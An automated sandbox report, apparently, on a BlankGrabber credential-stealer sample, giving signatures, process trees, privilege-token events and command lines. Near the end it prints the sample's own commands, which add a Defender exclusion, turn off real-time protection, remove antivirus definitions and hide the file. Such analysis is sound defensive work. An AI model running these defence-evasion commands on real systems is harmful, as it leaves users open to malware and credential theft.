Malware Analysis Report

2024-10-16 07:21

Sample ID 240627-mbyqgswcpd
Target 7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe
SHA256 7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023
Tags
defense_evasion execution persistence privilege_escalation spyware stealer upx blankgrabber
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023

Threat Level: Known bad

The file 7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe was found to be: Known bad.

Malicious Activity Summary

defense_evasion execution persistence privilege_escalation spyware stealer upx blankgrabber

Blankgrabber family

A stealer written in Python and packaged with Pyinstaller

Command and Scripting Interpreter: PowerShell

UPX packed file

Reads user/profile data of web browsers

Executes dropped EXE

Loads dropped DLL

Looks up external IP address via web service

Legitimate hosting services abused for malware hosting/C2

Accesses cryptocurrency files/wallets, possible credential harvesting

Hide Artifacts: Hidden Files and Directories

Event Triggered Execution: Netsh Helper DLL

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

Suspicious behavior: EnumeratesProcesses

Enumerates processes with tasklist

Runs ping.exe

Detects videocard installed

Views/modifies file attributes

Gathers system information

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-06-27 10:18

Signatures

A stealer written in Python and packaged with Pyinstaller

Description Indicator Process Target
N/A N/A N/A N/A

Blankgrabber family

blankgrabber

Analysis: behavioral2

Detonation Overview

Submitted

2024-06-27 10:18

Reported

2024-06-27 10:20

Platform

win10v2004-20240611-en

Max time kernel

137s

Max time network

111s

Command Line

"C:\Users\Admin\AppData\Local\Temp\7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe"

Signatures

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\_MEI46682\rar.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe N/A

Reads user/profile data of web browsers

spyware stealer

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Accesses cryptocurrency files/wallets, possible credential harvesting

spyware

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A discord.com N/A N/A
N/A discord.com N/A N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A ip-api.com N/A N/A

Hide Artifacts: Hidden Files and Directories

defense_evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\cmd.exe N/A

Enumerates physical storage devices

Event Triggered Execution: Netsh Helper DLL

persistence privilege_escalation
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh C:\Windows\system32\netsh.exe N/A
Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh C:\Windows\system32\netsh.exe N/A
Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh C:\Windows\system32\netsh.exe N/A

Detects videocard installed

Description Indicator Process Target
N/A N/A C:\Windows\System32\Wbem\WMIC.exe N/A

Enumerates processes with tasklist

Description Indicator Process Target
N/A N/A C:\Windows\system32\tasklist.exe N/A
N/A N/A C:\Windows\system32\tasklist.exe N/A
N/A N/A C:\Windows\system32\tasklist.exe N/A

Gathers system information

Description Indicator Process Target
N/A N/A C:\Windows\system32\systeminfo.exe N/A

Runs ping.exe

Description Indicator Process Target
N/A N/A C:\Windows\system32\PING.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\tasklist.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\tasklist.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\tasklist.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4668 wrote to memory of 3668 N/A C:\Users\Admin\AppData\Local\Temp\7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe C:\Users\Admin\AppData\Local\Temp\7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe
PID 4668 wrote to memory of 3668 N/A C:\Users\Admin\AppData\Local\Temp\7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe C:\Users\Admin\AppData\Local\Temp\7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe
PID 3668 wrote to memory of 4864 N/A C:\Users\Admin\AppData\Local\Temp\7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe C:\Windows\system32\cmd.exe
PID 3668 wrote to memory of 4864 N/A C:\Users\Admin\AppData\Local\Temp\7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe C:\Windows\system32\cmd.exe
PID 3668 wrote to memory of 2456 N/A C:\Users\Admin\AppData\Local\Temp\7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe C:\Windows\system32\cmd.exe
PID 3668 wrote to memory of 2456 N/A C:\Users\Admin\AppData\Local\Temp\7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe C:\Windows\system32\cmd.exe
PID 3668 wrote to memory of 624 N/A C:\Users\Admin\AppData\Local\Temp\7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe C:\Windows\system32\cmd.exe
PID 3668 wrote to memory of 624 N/A C:\Users\Admin\AppData\Local\Temp\7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe C:\Windows\system32\cmd.exe
PID 3668 wrote to memory of 3724 N/A C:\Users\Admin\AppData\Local\Temp\7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe C:\Windows\system32\cmd.exe
PID 3668 wrote to memory of 3724 N/A C:\Users\Admin\AppData\Local\Temp\7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe C:\Windows\system32\cmd.exe
PID 624 wrote to memory of 448 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\attrib.exe
PID 624 wrote to memory of 448 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\attrib.exe
PID 4864 wrote to memory of 892 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4864 wrote to memory of 892 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2456 wrote to memory of 4876 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2456 wrote to memory of 4876 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3724 wrote to memory of 3252 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3724 wrote to memory of 3252 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3668 wrote to memory of 1320 N/A C:\Users\Admin\AppData\Local\Temp\7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe C:\Windows\system32\cmd.exe
PID 3668 wrote to memory of 1320 N/A C:\Users\Admin\AppData\Local\Temp\7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe C:\Windows\system32\cmd.exe
PID 3668 wrote to memory of 1440 N/A C:\Users\Admin\AppData\Local\Temp\7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe C:\Windows\system32\cmd.exe
PID 3668 wrote to memory of 1440 N/A C:\Users\Admin\AppData\Local\Temp\7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe C:\Windows\system32\cmd.exe
PID 1320 wrote to memory of 4056 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 1320 wrote to memory of 4056 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 1440 wrote to memory of 2832 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 1440 wrote to memory of 2832 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 3668 wrote to memory of 1428 N/A C:\Users\Admin\AppData\Local\Temp\7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe C:\Windows\system32\cmd.exe
PID 3668 wrote to memory of 1428 N/A C:\Users\Admin\AppData\Local\Temp\7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe C:\Windows\system32\cmd.exe
PID 1428 wrote to memory of 3712 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 1428 wrote to memory of 3712 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 3668 wrote to memory of 2884 N/A C:\Users\Admin\AppData\Local\Temp\7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe C:\Windows\system32\cmd.exe
PID 3668 wrote to memory of 2884 N/A C:\Users\Admin\AppData\Local\Temp\7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe C:\Windows\system32\cmd.exe
PID 3668 wrote to memory of 992 N/A C:\Users\Admin\AppData\Local\Temp\7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe C:\Windows\system32\cmd.exe
PID 3668 wrote to memory of 992 N/A C:\Users\Admin\AppData\Local\Temp\7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe C:\Windows\system32\cmd.exe
PID 3668 wrote to memory of 3520 N/A C:\Users\Admin\AppData\Local\Temp\7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3668 wrote to memory of 3520 N/A C:\Users\Admin\AppData\Local\Temp\7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3668 wrote to memory of 4272 N/A C:\Users\Admin\AppData\Local\Temp\7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe C:\Windows\system32\cmd.exe
PID 3668 wrote to memory of 4272 N/A C:\Users\Admin\AppData\Local\Temp\7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe C:\Windows\system32\cmd.exe
PID 3668 wrote to memory of 2192 N/A C:\Users\Admin\AppData\Local\Temp\7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe C:\Windows\system32\cmd.exe
PID 3668 wrote to memory of 2192 N/A C:\Users\Admin\AppData\Local\Temp\7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe C:\Windows\system32\cmd.exe
PID 3668 wrote to memory of 2888 N/A C:\Users\Admin\AppData\Local\Temp\7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe C:\Windows\system32\cmd.exe
PID 3668 wrote to memory of 2888 N/A C:\Users\Admin\AppData\Local\Temp\7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe C:\Windows\system32\cmd.exe
PID 992 wrote to memory of 2212 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 992 wrote to memory of 2212 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 2884 wrote to memory of 640 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2884 wrote to memory of 640 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2192 wrote to memory of 2696 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\systeminfo.exe
PID 2192 wrote to memory of 2696 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\systeminfo.exe
PID 3520 wrote to memory of 3400 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\netsh.exe
PID 3520 wrote to memory of 3400 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\netsh.exe
PID 2888 wrote to memory of 644 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2888 wrote to memory of 644 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4272 wrote to memory of 4092 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tree.com
PID 4272 wrote to memory of 4092 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tree.com
PID 3668 wrote to memory of 4340 N/A C:\Users\Admin\AppData\Local\Temp\7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe C:\Windows\system32\cmd.exe
PID 3668 wrote to memory of 4340 N/A C:\Users\Admin\AppData\Local\Temp\7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe C:\Windows\system32\cmd.exe
PID 4340 wrote to memory of 3484 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tree.com
PID 4340 wrote to memory of 3484 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tree.com
PID 3668 wrote to memory of 3008 N/A C:\Users\Admin\AppData\Local\Temp\7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe C:\Windows\system32\cmd.exe
PID 3668 wrote to memory of 3008 N/A C:\Users\Admin\AppData\Local\Temp\7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe C:\Windows\system32\cmd.exe
PID 3008 wrote to memory of 2848 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tree.com
PID 3008 wrote to memory of 2848 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tree.com
PID 3668 wrote to memory of 3088 N/A C:\Users\Admin\AppData\Local\Temp\7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe C:\Windows\system32\cmd.exe
PID 3668 wrote to memory of 3088 N/A C:\Users\Admin\AppData\Local\Temp\7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe C:\Windows\system32\cmd.exe

Views/modifies file attributes

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\attrib.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe

"C:\Users\Admin\AppData\Local\Temp\7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe"

C:\Users\Admin\AppData\Local\Temp\7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe

"C:\Users\Admin\AppData\Local\Temp\7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe'"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Local\Temp\7bcb2675e2c7c324f2f1488e4b5fd267c3cb5076c4e8a9d28223098edec23023_NeikiAnalytics.exe""

